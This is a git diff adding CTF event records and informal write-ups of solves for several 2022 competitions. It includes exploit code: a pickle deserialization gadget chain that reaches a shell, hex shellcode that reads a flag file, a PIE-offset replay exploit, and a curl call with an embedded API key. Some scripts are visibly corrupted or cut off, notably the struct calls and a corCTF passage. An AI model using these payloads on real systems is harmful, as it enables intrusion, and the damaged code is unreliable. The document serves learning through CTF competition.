diff --git a/ctfs/angstrom22.yml b/ctfs/angstrom22.yml new file mode 100644 index 0000000..94f943c --- /dev/null +++ b/ctfs/angstrom22.yml @@ -0,0 +1,46 @@ +#refer to hkcert21.yml for definitions +name: "ångstromCTF 2022" +url: https://ctftime.org/event/1558 + +date: 2022-04-29 +duration: 120 + +type: "Jeopardy" + +organizer: false +rank: 13 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "dyn" + category: rev + points: 100 + solve-count: 82 + solve-status: solved + writeup-url: null + - name: "Flatland" + category: rev + points: 140 + solve-count: 65 + solve-status: solved + writeup-url: null + - name: "Kevin Higgs" + category: misc + points: 210 + solve-count: 32 + solve-status: solved + writeup-url: null + - name: "Super Flag Bros" + category: rev + points: 230 + solve-count: 32 + solve-status: co-solved + writeup-url: null + - name: "Weeb Hunters 2" + category: rev + points: 240 + solve-count: 16 + solve-status: co-solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/b01lers22.yml b/ctfs/b01lers22.yml new file mode 100644 index 0000000..20b0733 --- /dev/null +++ b/ctfs/b01lers22.yml @@ -0,0 +1,22 @@ +#refer to hkcert21.yml for definitions +name: "b01lers CTF 2022" +url: https://ctftime.org/event/1583 + +date: 2022-04-22 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 1 +full-clear: true + +team: "Maple Bacon" + +challenges: + - name: "WEB2.0" + category: rev + points: 392 + solve-count: 14 + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/bsidessf22.yml b/ctfs/bsidessf22.yml new file mode 100644 index 0000000..5ca433b --- /dev/null +++ b/ctfs/bsidessf22.yml @@ -0,0 +1,77 @@ +#refer to hkcert21.yml for definitions +name: "BSidesSF 2022 CTF" +url: https://ctftime.org/event/1666 + +date: 2022-06-03 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 4 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Codetalker" + category: misc + points: "?" + solve-count: "?" + solve-status: solved + writeup-url: null + first-blood: true + - name: "Monstera" + category: rev + points: "?" + solve-count: "?" + solve-status: co-solved + writeup-url: null + - name: "Shorai" + category: rev + points: "?" + solve-count: "?" + solve-status: co-solved + writeup-url: null + - name: "Loadit 1-3" + category: rev + points: "?" + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Shurdle 1-3" + category: pwn + points: "?" + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "0x41414141" + category: pwn + points: "?" + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Arboretum" + category: rev + points: "?" + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Dual-type Multi-format" + category: misc + points: "?" + solve-count: "?" + solve-status: co-solved + writeup-url: null + - name: "Pwncaps 1-2" + category: forensics, pwn + points: "?" + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Loca" + category: rev + points: "?" + solve-count: "?" + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/comments/angstrom22.md b/ctfs/comments/angstrom22.md new file mode 100644 index 0000000..7ed6893 --- /dev/null +++ b/ctfs/comments/angstrom22.md @@ -0,0 +1,170 @@ +### flatland + +since [@Kevin](https://maplebacon.org/authors/Kevin/) was trying out instruction counting and got actf alr i was like hey why not try the gdb character by character bruteforce method i did in maplectf and breakpoint at getc since if its wrong it would die before the next getc + +turns out though characters are not unique in that multiple can trigger the next getc + +tried to manually read a pattern and choose the next character to use, but the result is not dependent which means id have to make a lot of guesses manually + +so DFS it is + +since we know theres a flag in memory which is scrambled, we can narrow it down using the characters in the flag and removing one on traversing each node + +not long after got the solve script and with some manual intervention with english guessing we got the flag lmao + +gdb op + +(by the way my teammate [@Jason](https://maplebacon.org/authors/Jason/) made a [much less cheesy solution](https://github.com/Green-Avocado/CTF/tree/main/angstromctf2022/rev/flatland) that actually teaches you things lol) +(and it won a writeup prize too which is why i have binary ninja now thanks jason :D) + +```py +from pwn import * +import sys + +def search(flag, alpn): + if len(flag) >= 23: + print(flag, '\n\n\n') + sys.exit() + + possible = [] + + for c in alpn: + count = 0 + io = process(['/usr/bin/gdb', '-q', './flatland']) + io.sendline('b *(0x401389)') + print(flag) + print("".join([c[0] for c in flag] + [c])) + io.sendline('start') + + io.recvuntil('Starting program') + io.recvuntil('\n(gdb) ') + io.send('continue\n') + io.sendline("".join([c[0] for c in flag] + [c])) + + while True: + end = io.recvuntil('\n(gdb) ') + if 'exited with code' in end.decode('utf-8'): + break + + count+=1 + io.send('continue\n') + + print(c, count) + if count == len(flag) + 1: + possible += [c] + + io.close() + + print(possible) + + if not possible: + return + + for c in possible: + search(flag + c, [x for x in alpn if x != c]) + +search('actf{Fl4TmAn_', 'NRD1orwd0u') +``` + + +### kevin higgs + +pickle crafting codes borrowed from https://ctftime.org/writeup/16723 + +they dont quite work with multiple dots, so i had to add pickle manipulating codes at the end to finish the gadget chain + +```py +#__class__.__base__.__subclasses__()[117].__init__.__globals__["system"]("ls -la") + +# setattr(empty, 'c1', empty.__class__.__base__) (or alternatively empty.__setattr__('c1', empty.__class__.__base__)) +c1 = craft( + attr("empty.__setattr__"), + "c1", attr("empty.__class__") +) +# setattr(empty, 'c3', empty.c1.__subclasses__()) #inner craft runs the func with REDUCE +c3 = craft( + attr("empty.__setattr__"), + "c3", (craft(attr("empty.c1"))) +) +# setattr(empty, 'c4', empty.c3.__getitem__(134)) #same here +c4 = craft( + attr("empty.__setattr__"), + "c4", (craft(attr("empty.c3"), 134)) +) +# setattr(empty, 'c6', empty.c4) #oops looks like i missed this gadget lol its redundant +c6 = craft( + attr("empty.__setattr__"), + "c6", attr("empty.c4") +) +# setattr(empty, 'c7', empty.c6.__init__) +c7 = craft( + attr("empty.__setattr__"), + "c7", attr("empty.c6") +) +# setattr(empty, 'c8', empty.c7.__globals__) +c8 = craft( + attr("empty.__setattr__"), + "c8", attr("empty.c7") +) +# setattr(empty, 'c8', empty.c8.__getitem__('system')) +c9 = craft( + attr("empty.__setattr__"), + "c9", (craft(attr("empty.c8"), 'system')) +) +# setattr(empty, 'c8', empty.c9('sh')) +cx = craft( + attr("empty.__setattr__"), + "cx", (craft(attr("empty.c9"), 'sh')) +) + +#chain them all up to run sequentially +obj = craft(attr("empty.__setattr__"), ".", (c1, c3, c4, c6, c7, c8, c9, cx)) + +s = dumps(obj) + +p = bytearray(s) +print(p) +print(pickletools.dis(p)) + +#adds the chain to the corresponding gadget above (e.g. empty.c1 -> empty.c1.__subclasses__) +n = r'__class__.__base__'.encode() +nr = b'__class__' +i = p.find(nr) #first occurence +p[i-1:i+len(nr)+1] = bytes([len(n)]) + n +p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little') + +n = r'c1.__subclasses__'.encode() +nr = b'c1' +i = p.find(nr,p.find(nr)+1) #second occurence +p[i-1:i+len(nr)+1] = bytes([len(n)]) + n +p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little') + +n = r'c3.__getitem__'.encode() +nr = b'c3' +i = p.find(nr,p.find(nr)+1) #second occurence +p[i-1:i+len(nr)+1] = bytes([len(n)]) + n +p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little') + +n = r'c6.__init__'.encode() +nr = b'c6' +i = p.find(nr,p.find(nr)+1) #second occurence +p[i-1:i+len(nr)+1] = bytes([len(n)]) + n +p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little') + +n = r'c7.__globals__'.encode() +nr = b'c7' +i = p.find(nr,p.find(nr)+1) #second occurence +p[i-1:i+len(nr)+1] = bytes([len(n)]) + n +p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little') + +n = r'c8.__getitem__'.encode() +nr = b'c8' +i = p.find(nr,p.find(nr)+1) #second occurence +p[i-1:i+len(nr)+1] = bytes([len(n)]) + n +p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little') + + +print(p) +print(pickletools.dis(p)) +print(p.hex()) +``` \ No newline at end of file diff --git a/ctfs/comments/b01lers22.md b/ctfs/comments/b01lers22.md new file mode 100644 index 0000000..e6d8ca8 --- /dev/null +++ b/ctfs/comments/b01lers22.md @@ -0,0 +1,82 @@ +### WEB2.0 + + +glibc 2.33 pain - which means i gotta use the ld trick again + +but now how do i debug it since i cant ld the server and expect ida to use it to load the program + +turns out i can run and attach the program normally (or use process options with ld) then manually rebase the program in ida + +right click the module in modules window, right click jump to module base, get the base addr, `edit->segments->rebase program` and set it to that, uncheck fix code (idk if it helps in making the code not screw up actually but ye) + +and then breakpoints and stuff should work normally + +while i was reversing the get_input function angus found out if you `localhost:7878/crawl` it doesnt reject it and instead shows `correct the flag "" is valid` + +i was just about to figure out how retstr is made and it seems like theres sth related to arrays so i tested `/crawl/a/b/c/` but before that i also tested out what robert said where any char would also return 200 OK so i was entering `/a`s + +i actually got `sorry but flag "aaa" is not valid` instead so i was like wait is my theory correct + +but then it says `aaa` where i only inputted a single a + +then i remembered i entered a 3 times before that as standalone curl reqs + +so i tried + +```sh +$ curl "localhost:7878/a" +$ curl "localhost:7878/b" +$ curl "localhost:7878/c" +$ curl "localhost:7878/crawl" +``` + +and it actually returned + +``` +Welcome to the b01lers flag verification service! +Sorry abc is not a valid flag. +Error: InvalidKeyError +``` + +eyo? so thats how we input stuff + +then i thought since empty string is correct what if it actually checks char by char + +so i tried entering b then crawl to validate + +and indeed it works + +so i wrote a script for it: + +```py +import requests +import string +from pwn import * + +context.log_level = 'CRITICAL' + +flag = 'bctf{' + +while True: + p = process(['./lib/x86_64-linux-gnu/ld-linux-x86-64.so.2', '--library-path', './lib/x86_64-linux-gnu/', './WEB2.0']) + p.recvuntil('Welcome') + for bc in r'0123456789abcdefghijklmnopqrstuvwxyz{}_': + for fc in flag: + requests.get('http://localhost:7878/' + fc) + requests.get('http://localhost:7878/' + bc) + resp = requests.get('http://localhost:7878/crawl') + if b'Congrats' in p.recvall(): + print('got', flag) + flag += bc + break + p = process(['./lib/x86_64-linux-gnu/ld-linux-x86-64.so.2', '--library-path', './lib/x86_64-linux-gnu/', './WEB2.0']) + p.recvuntil('Welcome') +``` + +but it turns out it doesnt work well - it gets stuck at `bctf{sorrylno_nfqs_onlylq` + +which means theres more than 1 possible correct returns for certain chars + +and while i was working on getting all the possible correct returns instead of breaking directly ming got the flag by guessing with english lmao + +and so here it is `bctf{sorry_no_nfts_only_flags}` \ No newline at end of file diff --git a/ctfs/comments/bsidessf22.md b/ctfs/comments/bsidessf22.md new file mode 100644 index 0000000..dadc170 --- /dev/null +++ b/ctfs/comments/bsidessf22.md @@ -0,0 +1,445 @@ +### codetalker + +4 layers of encoding + +- first is traversing the maze with the provided path to get the base64 + - the main problem with this is theres not really a way to tell the starting point - until you realize `==` is always at the end so we can just traverse backwards (this will be a recurring theme) + - another more minor problem is that the maze wraps around, so you'll need to do modulos too + - also the newlines made my traversal script go weird before i realize i shouldve truncated those lmao + - file says its archive, so extracting it is +- second one is a weird line of characters along with a bunch of data encoded with those chars + - i somehow instantly thought its substitution cipher so i tried to spot patterns (namely the aforementioned `=` padding) + - turns out its just those chars mapped to `/[A-Za-z0-9+/=]/` in sequence lol + - replacing those chars yield us another base64, again archive +- this time we are given what looks like a split hex dump, but the hex bytes doesnt really match up + - also theres `eape\nxml` in the first 2 lines so i tried searching that up + - i thought it was sth related to xml but nope this random doc i found https://readthedocs.org/projects/lantern-crypto/downloads/pdf/latest/ had exactly what i needed lmao + - so i just implemented the column stitching algo and we get another archive this time in hex form +- finally this one is encoded in upper case and lower case phi + - i was thinking binary would store too little information so its not gonna be that but my teammate [@JJ](https://maplebacon.org/authors/apropos/) was like what else could it be so i tried it out and turns out its actually the flag lmao guess i overestimated the bits needed for plaintext + +finally we get `CTF{layers_of_meaning}` + +```py +import base64 + +# starting = (30-12, 38) +# encoded = '' + +#from 7zip +# with open('codes~', 'r') as f: +# data = f.readlines() +# path = "".join(data[1:9]).replace('\n', '')[::-1] +# print(path) +# grid = [l.replace('\n', '') for l in data[11:]] + +# cursor = starting + +# for d in path: +# #directions are flipped; cursor[0] is y and 1 is x +# encoded += grid[cursor[0]][cursor[1]] +# print(encoded) + +# if d == 'U': +# cursor = (cursor[0] + 1, cursor[1]) +# elif d == 'D': +# cursor = (cursor[0] - 1, cursor[1]) +# elif d == 'L': +# cursor = (cursor[0], cursor[1] + 1) +# elif d == 'R': +# cursor = (cursor[0], cursor[1] - 1) + +# cursor = (cursor[0] % len(grid), cursor[1] % len(grid[0])) + +# print('dir', d) +# print(cursor, len(grid), len(grid[0])) + +# with open('decoded.bin', 'wb') as f: +# f.write(base64.b64decode(encoded[::-1])) + +#from 7zip again +# with open('decoded', 'r') as f: +# data = f.readlines() +# mapping = {} +# for i, c in enumerate(data[0]): +# mapping[c] = data[1][i] + +# encoded = ''.join(data[2:]).replace('\n', '') +# print(encoded) + +# print(''.join([mapping[c] for c in encoded])) + +# with open('decoded2.bin', 'wb') as out: +# out.write(base64.b64decode(''.join([mapping[c] for c in encoded]))) + +#from 7zip again +# with open('decoded2', 'r') as f: +# data = f.readlines() +# reconstructed = '' +# for i in range(0, len(data), 2): +# print(data[i], data[i+1]) +# for j in range(len(data[i])): +# reconstructed += data[i][j] +# if len(data[i+1]) > j: +# reconstructed += data[i+1][j] + +# print(''.join(reconstructed)) +# #from cyberchef +# with open('decoded3.bin', 'wb') as out: +# out.write(base64.b64decode('XQAAAAT//////////wBnoZXKXOw8s/dFlr1e6lEOuk7VhaoCxfV8YF6o2J7QTzfO9SRNMhd9c9K5BIOX1JS/Xn/S5CvhBFVgBwQITaoIKHEA/Q3OBQ==')) + +#from 7zip again +with open('decoded3', 'r', encoding='utf-8') as f: + data = f.readlines() + mapping = {'φ': '0', 'Φ': '1', '\n': ''} + s = ''.join([mapping[c] for c in ''.join(data)]) + print(int(s, 2).to_bytes((len(s) + 7) // 8, byteorder='big')) +``` + +### monstera + +usual dex2jar, apktools stuff to unpack and inspect with enigma + +there are strings called "parts" in each of the views (part2-4), which seems to be base64 encoded with one being int array (which turned out also to be base64 in ascii) + +but part1 was missing until [@JJ](https://maplebacon.org/authors/apropos/) realized its in the resources class so i just searched the string up in the unpacked res directory and grabbed that base64 + +stitching the parts tgt gives us `CTF{Rev3rs3Th3AppN0wYay}` + +### shorai + +lol crypto re chall? lemme instruction count it instead + +the mmaps and dlfcn stuff reminds me of a packer so i tried to breakpoint at the oep before i realized it never even got reached coz i need to provide the decryption key lmao + +so i looked into validate_key and wait they are traversing it character by character and exiting when the key becomes invalid? aint this prime instruction count target lmao theres even a counter variable for us to use + +copying the solve script from maplectf and altering it slightly gives us + +```py +from pwn import * +import string + +flag = '' + +alpn = '0123456789abcdef' + +while len(flag) < 65: + + for c in alpn: + io = process(['/usr/bin/gdb', '-q', './shorai']) + io.sendline('b *(validate_key+0x52)') + print(flag + c + 'a'*(64-len(flag))) + io.sendline('set args ' + flag + c + 'a'*(64-len(flag)) + '') + io.sendline('start') + + io.recvuntil('Temporary breakpoint') + io.recvuntil('\n(gdb) ') + io.send('continue\n') + + io.recvuntil('Breakpoint 1,') + io.recvuntil('\n(gdb) ') + io.sendline('x/b $rsp+0x2c') + out = io.recvuntil('\n(gdb) ') + print(out) + count = int(out.split(b':\t')[1].split(b'\n')[0].decode()) + + print(c, count) + if count >= len(flag) + 2: + flag += c + io.close() + break + + io.close() +``` + +one thing to note is that the validate_key method only checks nibbles so thats the chars im checking only + +and ey that one worked so time to jump to the unpacked oep + +guess what the flag is right there in the IDA decomp LOL `CTF{r3v3rsing_for_funds_and_profits}` + + + +### loadit 1-3 +looks like the author wants us to do some LD_PRELOAD stuff, but what if i just + +```py +print(bytes([a ^ b for a, b in zip(b'\xa3\x911\x93\xb8D\xe3,\xb8\xf1\x89|x\xa9\x14W\xff\x03F\x1d*\x03\xd8\xe5Fq\x1c\x8d\x00', b'\xe0\xc5w\xe8\xd4+\x82H\xe7\x98\xfd#\x14\xc0\x7f2\xa0z)hud\xb7\x91\x19\x18h\xf0\x00')])) +print(bytes([a ^ b for a, b in zip(b'\t\xa9\xd4U\r=\xcdtL\x9b$\xbe\x8c\x9d\x926\x05T\xaf\xe7\x10\x8c\xd4\xd9\xaf\xec$\x8f\x1f\x00', b'J\xfd\x92.dS\x92\x00$\xfe{\xce\xe5\xed\xf7ic=\xd9\x82O\xee\xad\x86\xc9\x85R\xeab\x00')])) +print(bytes([a ^ b for a, b in zip(b'#HW \x91K\xe4\xa1\xd1k\x881pe\xe5\x0b4\xde\x030\xc3z\x9d:c\x9e|0\xb6\r\xc7\x00', b'`\x1c\x11[\xf8\x14\x93\xc8\xbf4\xe1n\x07\x0c\x8bTP\xb7mW\x9c\x1e\xf4T\x04\xc1\x18Y\xd8j\xba\x00')])) +``` + +yep all of the binaries just xors 2 byte arrays to get the flag after you finish the LD_PRELOAD bypass stuff lmfao + +`CTF{load_it_like_you_got_it}` + +`CTF{in_the_pipe_five_by_five}` + +`CTF{i_win_i_win_ding_ding_ding}` + +### shurdle 1-3 + +this was pretty fun going back to the basics to do shellcode + +their ui for the chall series is also really well made too its pretty convenient and nice looking + +though apparently if you segfault the chall will just spew out the flag along with other debug info LOL + +found that out coz i didnt want to write the last exploit in shurdle3 and used pwntools for it instead which segfaulted for some reason + +hey i still got the flags thats all that matters + +(also this prob wouldve been solved way quicker if i just used pwntools for everything lmao but hey thats no fun) + +`CTF{return_to_me}` + +`CTF{returning_where_we_return}` + +`CTF{going_a_little_meta}` + +### 0x41414141 + +name implies stack smashing lmao + +opening it in IDA to get the size of the char array and we can change it to exactly what we want + +tbh we couldve just spammed `A`s to get the flag too it doesnt have a length check + +`CTF{pwning_has_begun}` + +### arboretum + +again the usual stuff with `apktools d` and `dex2jar`, then go in with enigma and look at the relevant classes + +seems like theres a fetcher that fetches a google cloud file that we wouldnt normally be able to access, which is restricted to only accessing firebase links + +so i looked up how to get the firebase link without needing the app using curl which exists https://firebase.google.com/docs/dynamic-links/rest but needs an api key + +so i also looked up how to extract that too and turns out its just called `google_api_key` https://blog.dipien.com/how-to-increase-the-security-of-the-api-keys-created-by-firebase-e9be0925526b + +with a curl we can get the link +``` +$ curl -X POST "https://firebasedynamiclinks.googleapis.com/v1/shortLinks?key=AIzaSyBzJByNMwCrFIOWzGpiFasuYWNV5rZdRK8" - +H "Content-Type: application/json" --data '{"longDynamicLink": "https://bsidessfctf2022.page.link?link=https://storage.cloud.google.com/arboretum-images-2022/tree1.png&apn=com.bsidessf.arboretum"}' +{ + "shortLink": "https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA", + "warning": [ + { + "warningCode": "UNRECOGNIZED_PARAM", + "warningMessage": "Android app 'com.bsidessf.arboretum' lacks SHA256. AppLinks is not enabled for the app. [https://firebase.google.com/docs/dynamic-links/debug#android-sha256-absent]" + } + ], + "previewLink": "https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA?d=1" +} +``` + +and https://arboretum-e83f3dfd.challenges.bsidessf.net/get-nft?url=https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA does indeed give us a tree pic + +but now the problem comes - yea ok the flag is probably on the cloud, but how do i access it + +so i tried accessing out of bounds pics like tree6 or even the whole https://storage.cloud.google.com/arboretum-images-2022/ dir but both just 500 internal server error'd + +the short link for the dir one couldnt even be created coz its restricted apparently + +but then i was like wait usually its flag.txt but since it says explicitly that its arboretum-***images***-2022 why not try flag.png + +and it actually got me the flag lmao + +i wonder how to actually do it legitimately tho coz no way thats the intended solution + +`CTF{L3afM3Al0n3}` + +### dual type multi format + +"new *riff* on an old format" - riff is the base for webp so its probably extracting data from the riff chunks + +[@JJ](https://maplebacon.org/authors/apropos/) did exactly that and got a wav file which sounds like telephone codes like those ones in utctf and ritsec aka dtmf + +but the problem is the tool we used to solve that was down lmao so we had to find another one but none works well enough + +the closest is https://unframework.github.io/dtmf-detect/ but it doesnt support the ABCD codes + +that is until i realized i can breakpoint in firefox at when it defines the frequencies and coders to change it to include the ABCD freqency column lmao + +adding this right after the 2 vars got defined gives us the ABCD column ready to go: + +```js +bankList = (function() { + var i, len, ref, results; + ref = [[697, 770, 852, 941], [1209, 1336, 1477, 1633]]; + results = []; + for (i = 0, len = ref.length; i < len; i++) { + freqSet = ref[i]; + results.push((function() { + var j, len1, results1; + results1 = []; + for (j = 0, len1 = freqSet.length; j < len1; j++) { + freq = freqSet[j]; + results1.push(new FilterThresholdDetector(new FrequencyRMS(context, freq))); + } + return results1; + })()); + } + return results; +})(); + +coder = new Coder(new BankSelector(bankList[0]), new BankSelector(bankList[1]), ['1', '4', '7', '*', '2', '5', '8', '0', '3', '6', '9', '#', 'A', 'B', 'C', 'D']); +``` + +`4354467B6469616C5#665#666#725#666C61677D` and we get all of the codes decoded eyy + +looking back at the webp image the dial pad is clearly modified and it matches the dtmf pad except * and # is now E and F which signifies its probably hex code + +changing the # in the string we got yields us exactly the flag in hex: `CTF{dial_f_for_flag}` + +### pwncaps 1-2 + +first one is just copy the payload in the pcap right before the one that gives NOFLAG solves the chall???? + +`CTF{pcaps_the_way}` + +but the second one was pretty cool lmao + +really fun to finally automate some pcap analysis with scapy + +at first i just tried to send all the payloads in the pcap that was sent to the server (server being the one that sent NOFLAG), but ofc that was way too quick for the server to catch up + +so i tried syncing it up trying to get pwntools to recvuntil the next packet data which should be a response but then theres zero byte packets all scattered throughout the pcap from both client and server so i had to filter those out too + +but then its still not working it just freezes after i send the data + +then eventually i realized the `-93: ` line is probably a PIE leak since it changes randomly every time the programs run so i tried to offset everything using it + +but that was just too scatterfiring and other values thats clearly not an address got changed too + +so i restricted it to some big number so that its likely an address but it still didnt work + +eventually when i was printing everything and handpicking things that looks like addresses i noticed wait why does `0x8044f6f7` `0xf044f6f7` `0x904cf4f7` look like addresses but addresses dont change their upper bytes with their lower bytes keeping constant usually + +then i had the revelation: its flipped endianness + +flipping them for both the offset calculation and the int we send, then restricting the values we change to 0xf7000000 finally yields us the flag + +`CTF{finding_offsets_can_be_hard_amirite}` + +```py +from pwn import * +from scapy.all import * + +#part 1 + +p = remote('pwncap-5d438dc7.challenges.bsidessf.net', 5555) +p.send(bytes.fromhex('010feb425f807712414831c004024831f60f056681ec0001488d34244889c74831d266ba00014831c00f054831ff4080c7014889c24831c004010f054831ff4831c0043c0f05e8b9ffffff2f686f6d652f6374662f666c61672e747874414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141771240000000000041')) +p.interactive() + +#part 2 + +pcap = rdpcap('pwncap2.pcap') + +offset = 0 +lastcheck = b'' + +p = remote('pwncap2-37de32a2.challenges.bsidessf.net', 5555) +p.recvuntil('Menu') +for packet in [pkt for pkt in pcap if TCP in pkt and pkt[IP].src == '172.17.0.1' and len(bytes(pkt[TCP].payload)) > 0]: + #get supposed payload from client (cannot directly use since PIE is enabled) + payload = bytes(packet[TCP].payload) + try: + #calculate offsets from leak; program sends us the int in big endian so we need to flip it to apply offset + val = struct.unpack("I", int(payload.decode())))[0] + print(val, hex(val)) + if b'value' in lastcheck and val > 0xf7000000: #value is likely address + val -= offset + print(val, hex(val)) + tosend = struct.unpack("I", val))[0] #flip it back to big endian + p.sendline(tosend) + except: + #likely menu operations, just send raw + print(payload) + p.send(payload) + #get response payload from server; ignore empty packets + check = next(bytes(pkt[TCP].payload) for pkt in pcap[pcap.index(packet)+1:] if TCP in pkt and pkt[IP].src == '172.17.0.5' and len(bytes(pkt[TCP].payload)) > 0) + if b'-93: 3863474679' in check: #initial PIE offset leak + #just like above, we need to flip endianness to calculate + real = struct.unpack("I", int(p.recvuntil('\n\n').split(b'-93: ')[1].split(b'\n\n')[0].decode())))[0] + offset = struct.unpack("I", 3863474679))[0] - real + print('off', hex(real), hex(offset)) + elif b'NOFLAG{get_your_own_flag}' in check: #we are supposed to get the flag here + p.interactive() + break + else: #wait until the supposed response is received to avoid spamming + print('check', check) + lastcheck = check + p.recvuntil(check) +``` + +### loca + +was so lost until my laptop decided to update its ASLR base lmfao + +binary was simple, i couldve just copied most of the calculation codes from IDA and reimplement it in python to get it working locally + +but it never worked remotely for some reason + +while testing i noticed something really weird + +there was always this weird `▼≡▼` symbol locally that gets printed but it doesnt match the remote one + +so i thought its related to encoding but changing encoding and doing a lot of things related to that like null terminators and new lines all didnt work well + +eventually from pwntools i realized that kinda looks like an address and i checked IDA and it actually is the char* ptr for the IV string + +but then the remote address was `0xECF01F` whereas my local one was `0x1FF01F` which made no sense that they are reading something different remotely since ECF01F aint a valid address no matter how i look at it unless its ASLR + +but ASLR shouldnt change the IV string either so i had no idea + +eventually i came back on the second day and my laptop probably reset the ASLR base after the sleep + +and my local script stopped working lmao which is a really good sign since i can debug whats different now + +turns out the value that they xor the IV with ALSO changes with the ALSR base + +found that out after subtracting the new one with the old one + +well then mystery solved i just need to subtract the value with the ASLR base and add the remote base `0xEC0000` back + +voila `CTF{location_location_relocation}` + +```py +from pwn import * + +p = remote('loca-d9ca6ad4.challenges.bsidessf.net', 8881) +#p = process('loca.exe') + +str2 = p.recvuntil(b'response?').split(b'Challenge: ')[1].split(b'\r\n')[0] +print(str2) + +#str2 = b"H'r(?{ZQW(=kx i ;urx#.fv7JIh iT" #sanity check + +p.send('A'*31 + '\n') +aslr = int.from_bytes(p.recvuntil(b'2 of 3)\r\n').split(b'\r\n')[2][:3], byteorder='little') & 0xFF0000 +print(hex(aslr)) + +v21 = 0xABD15330 - 0x1F0000 + aslr #ASLR base change affects v21 - remote is EC from the "your response" 0xECF01F leak + +v20 = b'THIS_IS_KINDA_SORTA_MAYBE_AN_IV!!' + +print(v20) + +for i in range(31): + print(hex(v21)) + str2 = str2[:i] + bytes([((v21 & 0xFF) ^ str2[i]) % 0x5F + 32]) + str2[i+1:] + v21 = v20[i] ^ (v21 >> 1) + +print(str2.decode()) + +p.send(str2) +print(p.recvall(timeout=1)) +``` + +i still wanna know what made the ASLR change though + +ik IDA made it a glaring red to indicate the memory address is invalid but why was it treated as a memory address + +windows quirks windows quirks \ No newline at end of file diff --git a/ctfs/comments/corctf22.md b/ctfs/comments/corctf22.md new file mode 100644 index 0000000..8ad5a38 --- /dev/null +++ b/ctfs/comments/corctf22.md @@ -0,0 +1,187 @@ +### microsoft <3 linux + +thought it was a binfmt_misc thing with wsl considering the name, so i just ran it in wsl for a bit + +except IDA crashes every time i try to debug it and core dumps arent that helpful either lmao + +[@Robert](https://maplebacon.org/authors/Nneonneo/) helped cleaning the elf up for a bit but i realized it really is just a small program + +if i just paid more attention i wouldve realized its bitwise rotation from the start lol + +was finding reimplementations rol/ror in python but had a few duds before i found one that works + +that only got me half the flag though so i had to figure out whats left + +in the meantime [@Robert](https://maplebacon.org/authors/Nneonneo/) spotted the `$` at the end of the string after i pointed out i cant run it on windows since its not compatible + +so he instantly concluded that this is a DOS COM file and indeed it is + +except binja's decompilation with the DOS plugin really is not that good so i just used IDA and manually reversed it from assembly lol + +turns out its just a simple 0xD xor anyway + +either way flage `corctf{3mbr4c3,3xt3nd,3Xt1ngu15h!!1}` +```py +rol = lambda val, r_bits, max_bits: (val << r_bits%max_bits) & (2**max_bits-1) | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) + +ror = lambda val, r_bits, max_bits: ((val & (2**max_bits-1)) >> r_bits%max_bits) | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) + +#ELF +print(''.join([chr(rol(i, 3, 8)) for i in b'l\xedNl\x8e\xccof\xadLN\x86lf\x85f\x0f\x8e>ci!>Uyci!>Uy insert C declaration really helped for the `z_stream` struct + +[@Angus](https://maplebacon.org/authors/alueft/) was helping on the side testing out different stuff but nothing really worked + +until i realized it really is just running the AES 20 times so i looked to see if my codes for that was wrong since i can only run it once before dying + +turns out i just forgot to put AES initialization inside the loop lol which means its considered the same stream which ofc aint gonna work + +anyway flage again `corctf{why_w0u1d_4ny0n3_us3_m3mfr0b??}` + +i completely didnt touch memfrob aside from the chall desc that [@Angus](https://maplebacon.org/authors/alueft/) pointed out lmao +```py +import zlib +import base64 +from Crypto.Cipher import AES + +data = base64.b64decode('TO80+tElRUvnrZnEsdf2LFvzE7/MAx0WgdtQOKi23SCQKm6i7/5rj9uAb3B063025NyH8yDr5Q8+KDVYrQfSPdhdQTVeT0GbkYXhXBi49lrfCDUxBNLgRGT8BsbWW5ggTxweuCDVntqB1jZbVWCoLPLaV5LJ4BTwQ0suEdNwZ6hVCH3Hdk936L7zGQSEsqAg3EzSyJQXm3VPeDU15mJ0LQyoNPGQqf1Z1PgkuTuUvXnHeLlWweO2Lhc6MvlOR/kJxOj6SVNqC7k2CytcyfM5Y7PRrHBs8UZCvAuROmSVd+wkAWTSmOG/OBfU0DkWEx00pBr6M1+IIdVcTr8zneEqzEcVA52mhTYtbTEBPZUI3HLT9vdlt8CVXfTJp/rc71E2wR3mCOuK7F3JWj3TmqatKJkkiJJALasSWfiER7K5SPePHjJkuiTSPfPEhL3S4QEHoXYYRR5UkZMRbkFUfkDnAg==') +print(len(data)) + +key = b'\xd4\xf5\xd9g\x15/w\x7fl|Fs\xf6\xf0\x92\xf0wP;0\x0c\x87\x8a\r\x9c\x1dr\xa2eF\xc8\xdc' +print(len(key)) +iv = b'\0'*16 + +for i in range(20): + c = AES.new(key, AES.MODE_CBC, iv) + print(i) + strm = c.decrypt(data) + print(strm) + data = zlib.decompress(strm) + print('\n', data, sep='') + #data = bytes([x ^ 42 